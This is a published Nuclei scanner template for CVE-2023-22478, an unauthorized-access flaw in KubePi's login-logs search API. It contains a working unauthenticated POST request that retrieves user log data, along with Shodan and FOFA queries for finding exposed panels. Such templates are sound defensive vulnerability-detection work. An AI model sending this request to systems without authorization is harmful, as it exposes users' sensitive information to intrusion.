KubePi <= v1.6.4 LoginLogsSearch - Unauthorized Access

ID: CVE-2023-22478

Severity: high

Author: DhiyaneshDk

Tags: cve2023,cve,kubepi,k8s,exposure,fit2cloud

Description

KubePi is a modern Kubernetes panel. The API interfaces with unauthorized entities and may leak sensitive information. This issue has been patched in version 1.6.4. There are currently no known workarounds.

YAML Source

id: CVE-2023-22478

info:
  name: KubePi <= v1.6.4 LoginLogsSearch - Unauthorized Access
  author: DhiyaneshDk
  severity: high
  description: |
    KubePi is a modern Kubernetes panel. The API interfaces with unauthorized entities and may leak sensitive information. This issue has been patched in version 1.6.4. There are currently no known workarounds.
  impact: |
    An attacker can gain unauthorized access to sensitive information.
  remediation: |
    Upgrade KubePi to a version higher than v1.6.4 to mitigate the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20LoginLogsSearch%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22478.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22478
    - https://github.com/1Panel-dev/KubePi/security/advisories/GHSA-gqx8-hxmv-c4v4
    - https://github.com/KubeOperator/KubePi/commit/0c6774bf5d9003ae4d60257a3f207c131ff4a6d6
    - https://github.com/KubeOperator/KubePi/releases/tag/v1.6.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22478
    cwe-id: CWE-862
    epss-score: 0.07825
    epss-percentile: 0.94208
    cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: kubepi
    shodan-query:
      - html:"kubepi"
      - http.html:"kubepi"
    fofa-query:
      - "kubepi"
      - body="kubepi"
  tags: cve2023,cve,kubepi,k8s,exposure,fit2cloud

http:
  - raw:
      - |
        @timeout 10
        POST /kubepi/api/v1/systems/login/logs/search?pageNum=1&&pageSize=10 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"apiVersion":'
          - '"uuid":'
          - '"userName":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022070e11b17ff8999b13061b7b5fe42c1d4e1e6e13bdae8c908f144737d8c3eebab022100fb46b20ecf909e960c6dae6380a797e95b8ea2639c1b4d5b9c0a7f282534e0e8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-22478.yaml"

View on Github